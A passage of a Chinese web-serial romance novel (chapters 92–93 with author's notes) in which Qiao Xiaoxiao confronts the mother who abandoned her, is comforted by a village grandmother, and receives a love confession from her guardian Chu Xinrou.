她就是喜欢乔潇潇,无原因的。 乔潇潇微笑着摇头,“不了。” 看着那个从出生就被她抱在怀里哄着,相依为命了三年的小女孩,现在过得那么幸福,她该为她开心。 她应该远远的离开,做到不打扰,才是最好的选择。 王暖阳到底是小孩子,姐姐不给她手机号,她的自尊心碎了一地,眼泪在眼圈里打转,抿着唇不说话,情绪一下子低落了下来。 要分别。 那条路口的车辆有些多。 乔潇潇牵着她的手,想要把暖阳送过去就走,却在俩人等红绿灯的刹那,看见了马路对面睁大眼睛看着她们的王素。 王素今天难得早回家,她手里拎着两个大袋子急匆匆地往家走,迫不及待的想要看女儿,一个袋子是给暖阳买的乐高玩具,一个袋子是女儿爱吃的零食,她站在红绿灯对面,不可思议地看着乔潇潇和王暖阳。 “姐姐,我妈来了!” 王暖阳也看见了王素素,她拉着乔潇潇的手指了指,就在这个时候,绿灯亮了,她拉着乔潇潇快速走了过去。 一家三口。 就这样重逢了。 乔潇潇的童年,是在牛圈稻草堆里做的一个个重复的梦。 每个梦里,木门都会“吱呀”一声打开。妈妈牵着妹妹站在逆光里,身上带着熟悉的薄荷香,“潇潇——”王素张开双臂,眼泪簌簌地落,“妈妈来接你了。” 小潇潇总会手忙脚乱地打包她少得可怜的行李,一条磨破边的红领巾,半截铅笔头,还有一个硬邦邦风干的窝窝头。 她的手指因为激动而发抖,可每次当她系好最后一个包袱结,抬起头时,看到的永远是妈妈抱着妹妹远去的背影。 “妈妈!” 她追出去时总会被门槛绊倒,膝盖磕在碎石路上。血珠渗出来,和眼泪一起砸进土里。可不管她怎么哭喊,怎么爬着往前追,那个背影从来不会回头。 …… 这一次,现实总比梦境好一些。 最起码,妈妈和妹妹都没有把背影给她。 乔潇潇被王暖阳牵着走到了王素面前,王素的脸上看不到一点喜悦,眼里满是惊慌。 在妈妈离开后的十年时间里。 乔潇潇遍尝世间冷暖,她可以说是看着别人的眼神和脸色长大的。 怎么会读不懂此刻王素的慌张是为了什么? 她从来没有告诉妹妹自己的存在。 是从未想着,真正的找回自己。 自己……连同着那段黑色的回忆,王素一并抹掉了。 对于暖阳来说,王素不是抛弃她的母亲,而是那个把所有爱都给了她,没有一点瑕疵艰辛抗下全部家庭重担的好妈妈。 王暖阳也永远不会再知道,她那个或许已经死在了万柳村的姐姐。 乔潇潇淡淡的笑了,笑的眼睛都红了,她看着王素说:“阿姨,您好,我是暖阳新认识的朋友。我正好想送她过马路呢,您来得刚好,我也该……回家了。” 【作者有话说】 写的我都唏嘘了。 你们能想到么? 叶子想写这篇文的时候,第一个想到的就是这章的画面。 还有人吗,^o^ 92 第92章 ◎乔潇潇,我爱你。◎ ——我也该……回家了。 乔潇潇是用全部力气克制着才没有落泪的。 王素怔怔地望着她,嘴唇微微翕动,似乎有千言万语哽在喉间,却终究一个字也没能说出口。倒是一边的王暖阳很开心地拽了拽妈妈,说:“妈妈,你看,我和潇潇姐姐像不像。” 乔潇潇抬起微红的双眼,目光在王素和暖阳之间轻轻掠过。暖阳正亲昵地依偎在王素身旁,王素闭了闭眼睛,缓缓地说:“像。” “是吧!我刚一见到潇潇姐都愣住了,感觉我俩像是走散多年的亲姐妹一样!” 暖阳对于被妈妈认同很开心,可王素却什么都说不出来了。 乔潇潇最后留给王素的,是一个单薄如纸的背影。她转身的瞬间,风吹起她散落的长发,露出半张苍白的侧脸。她就这样独自走进川流不息的车海,身影渐渐被城市的喧嚣吞没。 身后,暖阳欢快的声音隐隐约约传来—— “哇!妈妈,这是限量版的乐高吗?你真的买到了?” “是不是特意去王府井排队的?你答应过要和我一起拼的!” 那些声音渐行渐远,最终消散在风里。 …… 乔潇潇没有再停留。 她要回家。 立刻,马上。 这三个小时的高铁车程,她不知道自己是怎么熬过去的。 := 她没有哭,也没有崩溃,甚至感觉不到悲伤。 她只是安静地坐着,望着窗外飞速倒退的风景,大脑像是被冰封了一般,所有的情绪、所有的思绪,全部凝固。 …… 楚心柔今天来得格外早。 她站在高铁出站口,手指无意识地摩挲着手机边缘,眼睛一遍又一遍地扫过电子屏上的到站时间。随着列车抵达的临近,她的心跳越来越快,嘴角不自觉地扬起,眼底盈满期待。 然而—— 当乔潇潇的身影终于出现时,楚心柔的笑容瞬间僵住。 潇潇脸色惨白,眼下浮着浓重的青黑,整个人像是被抽走了所有生气,连脚步都虚浮得像是踩在棉花上。 楚心柔的嘴唇抿成一条线。她快步上前,一把攥住潇潇冰凉的手腕。掌心传来的温度让她心头一颤,怎么会这么凉? 潇潇像是受惊般猛地一抖,茫然转头。在看清是姐姐的瞬间,那双空洞的眼睛突然泛起水光,通红的眼眶里蓄满泪水,却倔强地不肯落下。 楚心柔感觉自己的心脏被生生撕开一道口子。 这几天她不断说服自己:有些心结必须由潇潇独自面对,就是再不放心,也要让她去面对。 可现在呢? 走时还强撑着微笑说“没事”的人,回来时却像被抽走了魂魄。 楚心柔的指甲深深陷入掌心,一股无名火在胸腔里横冲直撞。 这些年,她始终告诫自己要理解。 王素的事她从不多问,更不评价。可此刻看着潇潇这副模样,所有理智都在崩塌。 回到家后,乔潇潇像是被抽干了最后一丝力气。 姐姐煮的热气腾腾的面在床头渐渐凉透,衣服也没换,她就那么蜷缩着倒在床上,几乎是瞬间就陷入了昏睡。苍白的脸颊陷在枕头里,呼吸轻得几乎看不见起伏。 楚心柔坐在床边,指尖轻轻拂过潇潇汗湿的额发。灯光下,潇潇眼下那两片青黑格外刺眼,嘴唇因为脱水而微微起皮。她胸口一阵发紧,这几天,这孩子到底经历了什么? 深夜,乔潇潇开始不安地辗转。细密的冷汗一层层渗出,将睡衣都浸得半湿。她眉头紧锁,像是在梦魇中挣扎,却又醒不过来。楚心柔慌忙拿出体温计,可显示的数值却完全正常。 “潇潇?能听见姐姐说话吗?”她轻拍潇潇全是汗的脸颊,回应她的只有痛苦的呻吟。 凌晨三点,楚心柔终于拨通了Sophia的电话。 当Sophia带着医疗箱匆匆赶到时,同行的李医生在看到床上的人影时明显怔住了。她快步上前,却在看清乔潇潇状态的瞬间倒抽一口冷气:“天这孩子怎么” 初步检查。 乔潇潇的身体没有什么问题,只是有些透支憔悴,给掉了点葡萄水,更多的原因出自心里。 Sophia走的时候,看了看楚心柔,不放心地说:“你要不要休息一下?” 她看楚心柔的气色也极其不好。 楚心柔摇头,“我就在这儿。” 她就要这么陪着潇潇。 她怕潇潇做噩梦醒来后,看不见她,以为又回到了小时候。 乔潇潇确实做了一个梦。 只是这梦境,说不清是美梦还是噩梦。 梦里重现了与今日上午相似的场景,只是此刻依偎在王素身旁的人换成了她。她轻轻靠在母亲肩头,嘴里哼着不成调的小曲,感受着阳光温柔地抚过脸颊。 王素眼中盛满宠溺,柔声道:“回家妈妈给你做红烧肉。” “好~”她听见自己欢快地应着。 明明是温暖明亮的梦境,却莫名浸透着令人鼻酸的心疼。那些在现实中永远无法说出口的渴望,那些深埋心底的期待,都在这个虚幻的梦里得到了片刻的圆满。 …… 乔潇潇猛地睁开眼,胸口剧烈起伏着。她大口喘息,茫然地盯着天花板,一时间竟分不清梦境与现实。 “潇潇,你回家了。” 楚心柔温柔的声音像一束光,穿透了她混沌的思绪。潇潇怔了怔,缓缓转头,涣散的目光在触及姐姐面容的瞬间,一点点凝聚起来。 是啊,她回家了。 昏暗的灯光。 乔潇潇靠在姐姐的怀里,将这几天的经历婉婉到来,“我看见妹妹了,是一眼认出来的,姐姐,她和我很像很像……” “等她再大一些,很多人,可能都认不出我们。” 楚心柔捧起她的脸,望进她的眼睛,“你是潇潇。” 无论何时,她都会第一眼认出她。 乔潇潇鼻尖一酸,将脸深深埋进姐姐肩头:“她们住的北京的二环,寸土寸金,妹妹有保姆,生活的很快乐。” 她说得平静,可每个字都像细密的针,扎得楚心柔心口发疼。 乔潇潇沉默了许久说:“最起码,妹妹被救赎了。” 不用过她之前的人生。 真的享受像是暖阳一样的生活了。 楚心柔手臂收紧,几乎是用尽全力地抱住了她。 …… 之后的日子,乔潇潇的笑容明显少了。 她需要时间消化这些情绪。 那段时间,只要她在家,楚心柔必定陪着。杨绯棠也三天两头跑来,变着法儿想逗她开心,可乔潇潇总是兴致缺缺。 大多数时间,乔潇潇都是一个人坐着安静的发呆,谁也不知道她在想什么。 她不哭了。 也不说什么怨恨的话。 就只是自己默默的待着。 青心要迁移,目前正在到处选址之中,乔潇潇回到工作室的时候,发现她离开这些日子,一切有条不紊的进展着,看到她回来那一刻,袁璐扑了上去:“天啊,大姐,你总算是回来了。” 再不回来,王宁姐怕是要把她折腾疯了。 乔潇潇不在的这些天,王宁简直成了拼命三娘:每天三杯美式,直接住公司,事事亲力亲为,眼睛熬得通红。 乔潇潇心里感激,甚至动了别的念头。可王宁见她回来,半句辛苦不提,只是盯着她的眼睛看了许久,轻声说:“瘦了。” 乔潇潇咬住唇,别开了脸。 她的消沉,不仅楚心柔和杨绯棠察觉到了,整个青心上下都感受得到。 Boss照常工作,依然认真,可魂儿像是丢了一半。 周五下午,楚心柔拎着两大袋点心到青心慰问。大家热热闹闹围在一起时,乔潇潇正在里间打电话。 楚心柔站在王宁身边,问:“这几天,她怎么样?” 王宁叹了口气,“还是老样子。” 回了一趟村子,丢了半条命回来。 楚心柔想了想,看向王宁说:“我有个不情之请。” 王惊讶地看着楚心柔,想不到,这样的人,能有什么事儿求她。 …… 王奶奶的到来,或许是乔潇潇这段时间里,最为开怀放松的时刻。 电话里听到孙女的话时,老太太就乐得合不拢嘴。她日日惦记着孙女和潇潇,总在视频里瞧青心的模样,如今终于拄着拐杖站在了青心门口,笑得假牙都快掉出来,活像个老小孩。 说什么也不肯先去酒店歇脚,一下车就嚷嚷着要直奔青心。老太太背着手,慢悠悠地在工作室里转了一圈,最后晃进乔潇潇的办公室,眼睛笑成两条缝,颤巍巍地从布包里掏出一个保温盒,“我包的野菜饺子,路上一直捂在怀里呢!” 王宁尴尬得脚趾抠地,赶紧上前要拦,乔潇潇却已经笑着接了过来。她轻轻打开盖子,热气混着野菜香扑面而来:“奶奶,你还记得我爱吃这个。” “记得,记得。”王奶奶拍着她的手,看着乔潇潇大口大口吃的香,她皱纹里都漾着欢喜。 乔潇潇想给王宁放假,让她去陪陪好不容易来的奶奶的,可王宁说什么也不去,到最后,变成了王宁留下加班,boss乔潇潇带着王奶奶到处转。 大家看着吊着大大黑眼圈敢怒不敢言的王宁。???…… 乔潇潇月没怕折腾,坐高铁带着奶奶去北京看天安门。 上了高铁,王奶奶眼睛都不够用了,这看看那看看的,什么都觉得新鲜。 到了天安门,阳光洒在广场上,老太太仰头望着城楼上飘扬的国旗,浑浊的眼里闪着光。她颤巍巍地从口袋里掏出老年机,非要潇潇帮她和天安门城楼合影。 “潇潇啊,奶奶这辈子值了。”王奶奶粗糙的手抚摸着汉白玉栏杆,笑得像个孩子。 乔潇潇突然发现,原来老人的快乐可以这么简单——一笼热气腾腾的包子,广场上飞过的白鸽,哪怕是自己搀着她慢慢走过金水桥时,路人投来的善意微笑,都会让王奶奶很开心。 奶奶年轻的时候,也是吃过苦的。 王宁爸妈长期在外面打工,是她一个人腿脚不好,除了点手艺活,基本没有什么赚钱的法子,她还是把王宁拉扯大了,并且,把所有的爱都给了孙女,让她的童年是开心快乐的。 在万柳村那闭塞的小山村,王奶奶也听过不少有关于乔潇潇是瘟神的话,每一次,她都拄着拐破口大骂:“你们这群缺了八辈子德的腌臜人,不骂她那个家暴的爸,不骂她那个跑了的妈,骂一个八岁的孩子,你们还要不要脸啊?” 潇潇本来想的打车带奶奶在北京再溜达溜达的,可王奶奶一辈子节省习惯了,说什么也不打车,那么大岁数了非要坐公交车。 上了车,她还很新奇的四处看着,“真感情啊,大城市的公交车真干净啊,还有空调呢。” 乔潇潇有些心酸,她看着王奶奶说:“奶奶,我们明天——” “哎呀,你们年轻人去忙,别管我。”王奶奶大手一挥,堵住了乔潇潇的话,“嘿嘿,现在看着宁宁和你这么出息,你不知道奶奶多开心,在村子里走路腰都直了,你还记得隔壁村每次看到你都骂人的那个张二麻子么?” 其实人家也不是麻子,就是脸上有几个坑。 可是被王奶奶看到他骂过潇潇之后,老人家就一直这么叫了。 乔潇潇点了点头,王奶奶脸上的骄傲与得意要溢出来了,“他现在见着我啊,恨不得鞠躬弯腰走路,你不知道那谄媚劲儿,这叫什么?三十年河东三十年河西。” 她看着乔潇潇,“潇潇,你现在可是咱们村子的骄傲!” 乔潇潇盯着奶奶看了好半天,浅浅的笑了,“是么?” 王奶奶用力地点头,“是啊!死了爹又怎么样?没了妈又怎么样?我们潇潇那么出息!” 如果别人说这话,乔潇潇可能笑笑随便听听,并不往心里去。 可王奶奶,对于她的意义不同。 大伯虽然把她带回了家,养育了她,但到底他沉默寡言,还有黄素兰对她非打即骂,乔潇潇对于那个家,从来没有什么归属感。 可奶奶不同。 乔潇潇童年记忆里,无论是过年,还是过节,亦或是她饿的受不了的时候,老太太都会偷偷给她端过来一碗饭。 家里有什么,就给潇潇端什么。 明明她和王宁也才勉强够度日。 明明她们非亲非故。 可王奶奶就是日复一日的把善意给了这个苦命的孩子,当初,她帮潇潇的时候,从没有想过她会有今天的成就,只是一门心思的希望她能够在这样艰苦的条件下活下去,别这么被人欺负死了。 乔潇潇的眼圈湿润,报站的声音就在耳边,她看着王奶奶.头发上的银.丝,轻轻地说:“谢谢奶奶。” “谢我干什么?” 老太太和她一起下了车,一边走一边说:“要谢就谢你那个大善人。” 乔潇潇微微一怔,看着王奶奶,王奶奶笑了笑:“宁宁那孩子啊,还以为能瞒的了我,潇潇,奶奶是岁数大了,眼睛花了,但是心里却像是明镜一样,就她忙成那个样子,能有心情把我接过来?这一路上,安排的这么妥当?我刚下车,就看见宁宁给那姑娘打电话,不用说了,肯定是因为担心你,她才把我叫过来的。” 王奶奶是个直肠子。 潇潇又是从她眼皮底下长大的孩子。 别说现在是什么老太太不懂的boss了,就是皇帝老子,在她眼里也只是个孩子。 乔潇潇低下了头,眼眶湿润。 姐姐…… 俩人沿着胡同慢慢走着,不知不觉拐进了一家老北京风味的小馆子。 乔潇潇原本想带奶奶去全聚德尝尝烤鸭,可老太太一听价钱,立刻皱起了眉头:“哎哟,吃顿饭花那么多钱,这不是糟蹋钱吗?”说着就要板起脸来。乔潇潇知道拗不过,只好顺着她,找了这家藏在巷子里的老店。 店面不大,木桌木椅,墙上还挂着泛黄的老北京黑白照片。王奶奶坐下后,瞄了眼菜单,还是忍不住小声嘀咕:“这面怎么比咱家那儿贵这么多……”可终究没再坚持,只是念叨着:“尝尝味儿就行,别点太多。” 她只要了一碗炸酱面,乔潇潇却趁她不注意,又悄悄加了一份焦圈、一盘芥末墩儿,还有老太太年轻时最爱吃的炒肝儿。菜上桌时,王奶奶嘴上埋怨着“浪费”,眼睛却忍不住往盘子里瞟。 这顿,算是乔潇潇这几天吃的最多的一次了。 最主要是王奶奶绝对不允许浪费一点,她话很直接:“吃啊,潇潇,人是铁饭是钢,啥事儿也不能影响咱娘俩吃饭,宁宁不是说你是什么……大胃王吗?今天一点不许剩。” 乔潇潇:…… 胃被填的满满的,吹着小风,王奶奶很是开心,饭后,乔潇潇带着奶奶短暂的休息后,又坐高铁返程了。 到了地方,乔潇潇想让她去住自己家的,奶奶笑了笑说:“你要是没成家我就去了,成家了我还去什么?” 乔潇潇像是被订在了原地,王奶奶拍了拍她的手:“奶奶啊,虽然一直在村子里,但是都懂。” 如果不是爱,不是喜欢,楚心柔怎么会对潇潇这么好。 她不是老古董。 看到王宁的爸妈打了一辈子,看着隔壁潇潇家妻离子散的,她怎么会还那么封建腐朽。 只要孩子们快乐就行呗。 因为一路的奔波,潇潇没让奶奶再折腾,让工作室的司机过来接了俩人。 这一路上,潇潇的话都不多,但是在王奶奶的记忆里,还停留在她过去孤僻内向的时候,也没有觉得异常,只是快到王宁家的时候,王奶奶突然说了一句:“孩子啊,不要难过了,你想啊,如果当年不是王素走了,你也遇不到现在的姐姐。” 这样虽然不好听,但是道理就在其中。 这句话像一记闷雷,在乔潇潇心头炸开。她沉默了,快到家的时候,让司机把她放下,她慢跑着回家,奶奶朴素的话语在脑海中不断回响。 就在快要到家门口时,一个熟悉的身影让她猛地停住脚步。徐毅——王素的贴身秘书,正笔直地站在路灯下。他穿着熨烫平整的深色西装,手里捧着一个暗红色的房产证,在灯光下泛着刺目的光泽。 见乔潇潇走近,徐毅快步上前,双手恭敬地递上那个红本子。乔潇潇下意识后退半步,像避开什么烫手的东西。 “乔小姐。”徐毅微微欠身,声音压得很低,“这是王总早年在北京投资的房产,现在市值已经过千万了。她……她说没脸来见您,特意嘱咐我一定要亲手交给您。” 乔潇潇听了,只觉得好笑,她看着徐毅,冷冷的一言不发。 徐毅不敢抬头。 就在气氛尴尬至极,穿着裙子的楚心柔走了出来,淡声叫着:“潇潇,回家了。” 乔潇潇立即跑了过去,晚风吹拂下,她握住了姐姐的手。 楚心柔盯着她看了一会儿,说:“一股炒肝味儿。” 乔潇潇:…… 她才好不容易心情好一点。 回到家,乔潇潇利落地脱下外套,径直走进浴室。温热的水流冲刷着她的身体,也冲淡了心头的郁结。门外,楚心柔正沏着一壶茉莉花茶,袅袅茶香在房间里弥漫开来。她敏锐地察觉到,潇潇的情绪比出门前舒展了许多,那股倔强的拧巴劲儿也消散了大半。 和往常一样,乔潇潇洗完澡后连头发都懒得擦,顶着湿漉漉的长发就扑进了姐姐怀里。楚心柔无奈地摇头,顺手拿起早就准备好的吹风机,动作轻柔地为她梳理着发丝。 乔潇潇像只餍足的猫儿般蜷缩在姐姐怀中,鼻尖萦绕着熟悉的淡雅香气,整个人都松弛下来。 她无意识地缠绕着楚心柔的一缕秀发,在指尖轻轻摩挲,突然开口道:“姐姐,我想通了。” 楚心柔手上的动作未停,只是温柔地“嗯”了一声,等待着她继续说下去。 乔潇潇将身子更深地埋进姐姐温暖的怀抱里,仿佛这样就能汲取更多勇气。她缓缓开口,声音轻得像是怕惊扰了空气中的尘埃:“这些天……不,其实很久了,我一直被一种不配得感折磨着。” 话语间,她的手指无意识地绞着衣角,骨节微微发白。 记忆像老旧的电影胶片,一帧帧在眼前闪回。 小时候,她总爱趴在学校斑驳的铁栅栏边,望着外面来来往往的行人。那些被父母牵着手的孩子,穿着崭新的公主裙,书包上挂着叮当作响的饰品,脸上洋溢着无忧无虑的笑容。那时候,羡慕像一颗种子,悄悄在她心里生根发芽。 后来,随着年龄增长,她渐渐明白那些平凡的幸福与自己之间横亘着怎样的鸿沟。羡慕慢慢发酵成更苦涩的东西,她开始相信,或许那些温暖本就与她无缘,或许这世间有些美好,生来就不是为她这样的人准备的。 就像是前些天,潇潇看着暖阳灿烂的笑容,听着她幸福的话语,刚开始,也是为她祝福为她开心。 可慢慢的,心里凝聚了苦涩的花儿。 她想,也许,本来就是她不配吧。 不然,为什么被带走的不是她呢? 她本来就该如此。 “路总要往前走,有些人,可能注定会是风景。” 不过才19岁的年龄,乔潇潇的眼里已经尽是沧桑了,“姐姐,今天奶奶说的一句话,让我特别震颤。” 楚心柔的眸光温柔地笼罩着她。 乔潇潇贪恋地感受着这份珍视,姐姐的目光像温暖的掌心,将她轻轻托起。那句话在唇齿间辗转许久才敢吐露:“她说,如果王素当年没有扔下我,我也不会遇到你。” 话音未落,眼眶先红了。多年积压的委屈突然变得很轻,像初春的薄冰,在阳光下无声消融。 她可以放下所有了。 她有这世间最好的姐姐。 楚心柔的目光如水般浸润着她,指尖轻轻拭去她眼角的泪痕:“还记得在万柳村那天吗?我看见黄素兰用藤条抽你,你的手臂上全是红痕……” 乔潇潇鼻尖又是一酸,记忆如潮水般涌来。她记得那天夕阳特别红,记得大伯搓着手说:“那城里来的姑娘说要带你走。”她记得自己在柴房里听到这话,心跳快得像要蹦出来。 “嗯。”她重重点头,嗓子发紧,“大伯说……你说等我十八岁就把我户口迁走。” 楚心柔忽然站起身,牵着她的手往书房走。红木地板在脚下发出细微的声响。 书房里,乔潇潇看见姐姐蹲下身时,保险箱转盘发出清脆的“咔嗒”声,她以为会看见自己的户口本,却见姐姐捧出个鼓鼓的牛皮纸袋,楚心柔从里面到处了十几个红彤彤的房产证。 乔潇潇错愕的张大嘴,只感觉那些红色在灯光下晃得她睁不开眼。 这……是梦么? “从那天起……”楚心柔的声音温柔而坚定,像是冬日里的一缕暖阳,“我就在为你准备一个家。想着,以后无论你想看北国的雪,还是南方的海,都能有个温暖的去处。”她纤长的手指轻轻抚过那些证件。 如果不是今天那位秘书,拿着房产证过来,楚心柔还不会将这些交给乔潇潇。 她随手拈起一本,红丝绒般的封皮在灯光下泛着柔和的光泽: “北京海淀区,离清华园很近。” 又执起一本: “上海静安区,窗外就是梧桐街道。” 再翻开一册: “广州天河区,能看见珠江的夜景。” …… 每报一个地名,就有一本房产证像花瓣般在乔潇潇面前绽放。 十几个本落下,直接给乔潇潇看傻眼了。 这一次,楚心柔格外有耐心,她把所有的房产一一介绍完后,看着乔潇潇的眼睛,轻轻地说:“潇潇,你才不是什么天生的不配与不值得。” 乔潇潇忍了好几天的眼泪控制不住的往外流,哽咽的几乎说不出话来,“姐姐……” 楚心柔走到她身边,轻轻地抱住她,在潇潇的耳边,温柔又郑重地说着:“乔潇潇,我爱你。” 【作者有话说】 叶子:呜呜呜。 姐姐表白了,门面拉起来! 93 第93章 ◎食色性也。◎ ——乔潇潇,我爱你。 这短短几*个字,像带着温度的火星,簌簌落在乔潇潇心尖上,烫得她眼眶发热。她喉间哽得说不出话,只能更用力地环住楚心柔的腰身,将脸深深埋进她颈窝,仿佛这样就能把满腔汹涌的情意都渡给她。 楚心柔抚过她颤抖的脊背,双手捧起她的脸,与她四目相视,楚心柔眼里凝成温柔的漩涡:“潇潇,我说的话,你记住了么?” 什么不值得。 什么生来不配。 她楚心柔捧在心尖上的人,合该拥有世间最皎洁的月光,最璀璨的星辰,连九重天上的云霞,都只配做她的陪衬。 楚心柔不是一个强势的人,可现如今,谁动乔潇潇就是掀了她的逆鳞。 她不允许。 乔潇潇喉间发紧,一个字也说不出来,只能拼命点头,眼眶烫得厉害。连日来被反复揉碎的心,就这样被楚心柔一点一点拢进掌心,重新拼凑完整。 她的姐姐爱她…… 她默默仰望了这么久的姐姐,竟也爱她? 世间还有什么怨恨,值得她念念不忘? 乔潇潇欢喜得几乎发颤,恨不得冲下楼去,向全世界宣告,她的姐姐爱她! 潇潇只感觉自己的心被楚心柔捧在掌心里,暖得发烫,甜得发疯。 从未有过的感觉充斥全身,让她恨不得使劲咬自己的唇,确定这是不是真的。 当天晚上。 连日来奔波劳累的潇潇,终于有了一个好眠,睡觉前,她还迷迷糊糊地问楚心柔。 “姐姐,那些房子是你什么时候买的?” 楚心柔戳着她的鼻子,声音软软的。 “从我想要保护你那一天,就开始买了。” 从小到大的优渥的生活,让楚心柔对金钱没有什么概念,她也从来没有想过买房子投资什么的,她虽然远离家族集团,但是信托基金以及她一幅幅能上拍卖会的画,都够她此生无忧的生活。 这些房子,都是随了她的心思,给潇潇买的。 谁知道这些年房价会暴涨如此。 她不告诉潇潇,一个是保护潇潇的自尊心,另一个也是不想要她心理负担太大。 可如今,强烈的保护欲让楚心柔再也忍不住了。 早晚都是她的。 她想给潇潇足够的安全感。 以前,她不在的时候,乔潇潇的人生,自己没办法干预。 可以后,楚心柔要把自己能给的最好的爱都给潇潇。 第二天,心情大好的乔潇潇恢复了食欲,她嚷嚷着要吃火锅,想着杨姐姐前一阵子为她操心不少,特意去琴房叫她。 杨绯棠从乔潇潇的嘴里知道楚心柔给了她肯定的回应,她是真心为她们开心,问:“那你们昨晚折腾到几点?” 一句话,把乔潇潇给弄的面红耳赤的,“什么……我和姐姐不是你想的那样?” 不是吧? 杨绯棠满眼的不可思议,“你是等黄花菜变凉么?” 乔潇潇气息都不稳了,“哪儿有那么迅速?不得有节奏么?你和莜莜姐,难道——” 杨绯棠点头:“我俩脸还不熟悉的时候就上床了,还贼激烈。” 乔潇潇:…… “后来又好多次,一次比一次美妙。” …… 杨绯棠满眼的鄙夷:“潇潇,你是不是不行啊?” 白瞎了那体力,那大长手指头了。 乔潇潇这一次是气的涨红了脸,“我姐姐又不是天生喜欢女的,我怕吓着她。” 她得慢慢来。 杨绯棠一挑眉,满眼的不屑。 还慢呢? 都在一起这么多年了,还慢慢来等月亮爬上来吗? 被看不起的乔潇潇很愤怒,她两手叉腰,气场全开地说:“我行的很!我现在是没发威,我要是发威了,姐姐都吃不消。” “哦?” 不知道何时来了,又在乔潇潇身后听了多久的楚心柔似笑非笑地出声了,吓得乔潇潇腿都软了。 杨绯棠看乐了,对着楚心柔挤眉弄眼:“你家潇潇可厉害了,说以后得给你整怕了呢。” 楚心柔嗔了她一眼,“你别总带坏孩子。” 哎呦喂。 还孩子呢? 杨绯棠在心底摇头,她甚至有些暗自发狠,想要看乔潇潇把楚心柔弄的下不来床那一天,看她还孩子不孩子。 这一顿火锅。 乔潇潇吃的舒服,杨绯棠也是很放松,“你前一阵子说老爷子不舒服,是要回去看看了么?” 一听这话,乔潇潇立即去看楚心柔。 楚心柔瞥了杨绯棠一眼,不满意她在潇潇面前提这事儿,点了点头:“嗯。” 楚云疾这次的病情来势汹汹。起初只是风寒咳嗽,后来竟查出肺部有恙。许可晴亲自打来电话时,连往日尖刻的语调都软了几分,带着几分哀求:“你回来……看看你爸吧。” 听她的声音,楚心柔知道情况不大好,她本该这几天就回去的,可是终究是不放心乔潇潇。 乔潇潇内疚极了,她看着楚心柔:“姐姐,你赶紧回去看看。” 她知道,肯定是自己的事儿耽误了姐姐。 楚心柔点了点头,“嗯,明天回去,你乖乖在家。” “放心吧,有我呢。”杨绯棠信誓旦旦地拍了拍胸口,楚心柔嗔了她一眼,“你别一天天给潇潇灌输乱七八糟的消息。” 她知道,自己的潇潇单纯的很。 从小就一门心思的想要赚钱,哪儿有那么多花花心思想别的。 杨绯棠看楚心柔那单纯的模样,心里直骂她菜鸟,食色性也,圣人尚有欲望,更别提乔潇潇守着这么一个暗恋了那么多年的人了,指不定心里怎么开花呢。 …… 晚上,乔潇潇跪坐在行李箱前整理衣物,手指无意识地摩挲着衬衫领口。楚心柔从身后环住她时,她才发现自己把同一件毛衣叠了三次。 “我没事的。”楚心柔的吐息拂过她耳畔,温软的身躯贴上来,乔潇潇顿时卸了力,整个人陷进那个令人安心的怀抱里。 “姐姐……”乔潇潇犹豫着开口,“你上次说,许可晴不是你亲生母亲?” 楚心柔的下巴在她肩上轻轻一点,发丝垂落时带着淡淡的茉莉香:“嗯。” 这个秘密,十二岁的时候,楚心柔是听见了楚云疾和许可晴的争吵,无意间得知的。 但更早以前,那些细碎的违和感就像毛衣上扎人的线头,时不时硌得她生疼。 楚心柔记得小学写《我的妈妈》被老师当范文朗读时,许可晴突然打翻了咖啡杯,当她看向妈妈时,许可晴笑的尴尬;记得每次妹妹撒娇要抱抱时,许可晴眼里漾开的温柔,转到她这里就变成了浮在表面的笑意。她发烧时得到的永远只是放在床头的药,而不是妹妹生病时那样温柔的额头相贴;甚至在她第一次来月事惊慌失措时,许可晴也只是隔着门缝扔进来一包卫生巾。 很多很多。 最可笑的是,她曾经以为那只是母亲更偏爱妹妹而已。 “所以十二岁前,你一直把她当亲生母亲。”乔潇潇的声音轻得像一声叹息,光是想象那种被至亲欺骗的感觉,胸口就闷得喘不过气来。 楚心柔的睫毛轻轻颤了颤,不愿意再提那些过往,她将脸埋在乔潇潇颈窝,温热的呼吸拂过那片细腻的肌肤:“都过去了。” 轻描淡写的几个字,却让乔潇潇瞬间红了眼眶。 这句话背后藏着多少辗转难眠的夜,多少强咽下的委屈,多少无人知晓的自我怀疑。 姐姐当时身边,谁都没有呢…… 楚心柔察觉到肩头传来的湿意,唇角泛起温柔的弧度,指尖轻轻描摹过乔潇潇泛红的眼尾:“我们潇潇啊,都成小哭包了。” 可不是么? 以前的乔潇潇觉得自己无坚不摧,别说掉眼泪了,没有什么能让她情绪有太大波动的。 从前的乔潇潇自诩铜皮铁骨,天大的事也难让她皱一下眉头。可自从有了姐姐,心就像被泡软了一般,可现在不同了,一点点委屈,她就忍不住落泪。 乔潇潇看着她的眼睛,“姐姐,早点回家,我等着你。” 很多次,她乱糟糟忐忑不安的心,就是因为姐姐这样一句话而平复的。 于她而言,有姐姐的地方就是家,她不再是无根的草,相比姐姐也是如此。 楚心柔凝视着她,眸中似有万千星辰流转,最终化作一个郑重的点头:“好。” 夜色渐深,房间里只剩下吹风机的嗡鸣。 乔潇潇坐在床沿,感受着楚心柔的手指穿过她湿润的发丝。明明是最寻常的举动,今晚却格外不同。暖风拂过耳际时,她分明感觉到姐姐的指尖在微微发颤,每一次不经意的触碰都像带着细小的电流,让她后背窜起一阵酥.麻。 洗发水的香气在两人之间氤氲,混着楚心柔身上淡淡的茉莉气息。乔潇潇从梳妆镜里偷瞄,正撞上姐姐垂落的眸光,那眼神温柔得能滴出水来,又藏着说不清道不明的情绪,烫得她耳尖发红。 吹风机的声音戛然而止。寂静中,她听见自己剧烈的心跳,和身后那人同样紊乱的呼吸。 “在想什么?” 空气中浮动的茉莉香突然变得粘稠起来。 楚心柔的手指还停留在乔潇潇的发间,她看见镜中的自己眼尾泛着不自然的红。那句问话脱口而出时,声线里带着自己都陌生的喑哑。 “总觉得……”乔潇潇的声音轻得几乎听不见,滚烫的脸颊在梳妆镜的暖光下像是熟透的水蜜桃,“像是在做梦。” 自从听见那声“我爱你”开始,潇潇的整个世界就陷入了柔软的失真状态。 心脏像是被裹进棉花糖里,轻飘飘地悬在半空,就连此刻姐姐指尖的温度都美好得让她害怕一眨眼就会醒来。 她真的不是在做梦吗? “做——梦?” 楚心柔的唇角忽然勾起一抹乔潇潇从未见过的笑,那笑容里带着三分妩媚七分宠溺,眼尾漾起的弧度让空气都变得灼热起来。 